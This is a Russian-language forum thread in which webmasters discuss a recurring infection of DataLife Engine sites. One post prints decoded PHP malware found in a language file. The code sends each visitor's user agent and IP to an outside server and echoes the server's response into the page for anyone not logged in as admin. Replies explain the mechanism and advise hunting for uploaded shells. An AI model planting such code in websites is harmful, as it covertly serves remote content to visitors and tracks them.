Как найти вирус DLE (видно в IE)

Интересно, а где видно, что передается пароль админа?...

вот разшифровал код (base64)

function getnewsfromid($id) {

    $id = intval($id);

    $rtn = $id + date("j");

    return $rtn;

}



function mysql_safe_connect($in) {

    if (getnewsfromid(64) < 1024) {

    $rtn = base64_decode($in);

    return $rtn;

    }

}

function get_all_news_by_list($newsid) {

    if (date("j") - $newsid > 320 ) {

        $rtn = false;

    } else {

    $get = mysql_safe_connect("http://178.211.33.74/get_api.php?pid=2&")."br=".base64_encode($_SERVER***91;'HTTP_USER_AGENT'***93;)."&ip=".base64_encode($_SERVER***91;'REMOTE_ADDR'***93;);

    if (!isset($_COOKIE***91;mysql_safe_connect("dle_password")***93;)) {

    echo @file_get_contents($get);

    }

    }

}

я не эксперт в php, может dle_password это ключ для подключения к его апи, это догадки, к словам прошу не цепляться, я ничего не утверждаю кроме того что код был найден в website.lng

Хеш пароля (кука dle_password) не передается, просто проверяется если она объявлена - проверка от авторизированых пользователей.

По ходу где-то шелл залит, снова. Та же проблема, причем, вирус чудом появляется и сам пропадает... В общем, будем искать..

Удаляйте.

Или можно просто закомментировать строку

//echo @file_get_contents($get); 

По юзерагенту вероятно работает. И возможно в куках что то сохраняет, чтобы не показывать слишком часто одному и тому же.

Было в практике что то подобное.

Вместе с сайтами? Жалко же.

По второму кругу эта наглая свинья лезет, снова появились. Не пойму, где может быть уязвимость, кто в курсе, подскажите?

p.s. Ой как хотелось бы эту свинью за жабры взять, которая гадостью такой занимается.

wildin, шеллы ищите и закрывайте уязвимости. В закрепленной теме есть вся необходимая информация для этого. Если не справляетесь - обращайтесь к специалистам.

На каком хостинге сидите?

А что вы порекомендуете?

engine/classes/templates.class.php

Нашел сегодня тут эту шляпу.